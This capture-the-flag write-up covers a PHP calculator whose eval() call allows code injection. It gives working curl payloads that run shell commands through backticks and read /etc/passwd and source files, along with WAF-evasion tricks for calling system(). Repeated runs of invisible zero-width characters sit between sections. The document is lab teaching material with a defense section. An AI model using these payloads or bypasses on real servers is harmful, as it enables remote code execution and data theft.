← Back to Writeups
CUSTOMEasyWeb
Bookmark

Калькулятор (Calculator Eval)

XESXOR9/2/20263 min read
#web#custom#easy#php-eval()-injection#source-code-disclosure-for-fla#waf-bypass-via-backticks-and-f

Калькулятор (Calculator Eval)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: PHP eval() injection, Source code disclosure for flag extraction, WAF bypass via backticks and file_get_contents

Summary

Walkthrough of the CUSTOM Web Калькулятор (Calculator Eval). Task: PHP calculator with eval() and WAF protection. Solution: Bypassed WAF using backticks for RCE and file_get_contents() to read source code containing the flag.

Description

Флаг лежит внутри, попробуйте найти его

URL: http://62.173.140.174:16016/

Analysis

1. Reconnaissance

Found a PHP calculator with WAF protection. When sending a POST request with the action parameter, it executes:

 php 
eval('return '.$def_out.';')

2. WAF Analysis

WAF blocks:

  • Command execution functions: system, exec, passthru, shell_exec, popen, proc_open, pcntl_exec
  • Words: script, alert
  • Characters: {, }, > ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

WAF does NOT block:

  • Backticks `command` for command execution
  • file_get_contents() for reading files

3. Testing Calculator Functionality

 bash 
curl -s -X POST "http://62.173.140.174:16016/" -d "action=7*7"
# Response: 49

The calculator works via eval() — a classic entry point for code injection.

Solution

Step 1: Testing RCE via Backticks

 bash 
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`id`'

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Backticks work! WAF doesn't filter them.

Step 2: Testing file_get_contents

 bash 
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('/etc/passwd')"

Result — contents of /etc/passwd. The function is not blocked.

Step 3: Reading Source Code

 bash 
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('index.php')"

Step 4: Extracting the Flag

At the end of index.php, a comment with the flag was found:

 php 
// CODEBY{REDACTED}

Alternative Methods

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Via Backticks (RCE)

 bash 
# Directory listing
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`ls -la`'

# Finding the flag
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`find / -name "*flag*" 2>/dev/null`'

# Reading a file
curl -s -X POST "http://62.173.140.174:16016/" -d 'action=`cat index.php`'

Via file_get_contents

 bash 
# Reading configs
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('/etc/passwd')"

# Reading source code
curl -s -X POST "http://62.173.140.174:16016/" -d "action=file_get_contents('index.php')"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

WAF Bypass Techniques

Alternatives to Blocked Functions

BlockedAlternative
system()`cmd` (backticks)
exec()file_get_contents() for reading
shell_exec()proc_open() if not blocked
passthru()popen() if not blocked

String Filter Bypass

 php 
// Concatenation
'sys'.'tem'('id')

// Variables
$f='system'; $f('id');

// chr() encoding
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)  // = "system"

// Base64
base64_decode('c3lzdGVt')  // = "system"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

 php 
// Never use eval() with user input
// If a calculator is needed — use a safe parser

// Example of a safe calculator
function safe_calc($expr) {
    // Allow only digits and operators
    if (!preg_match('/^[0-9+\-*\/\.\(\)\s]+$/', $expr)) {
        return "Invalid expression";
    }
    
    // Use a math library instead of eval
    return calculate_expression($expr);
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering PHP eval() injection, Source code disclosure for flag extraction, WAF bypass via backticks and file_get_contents was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Калькулятор (Calculator Eval) • Difficulty: Easy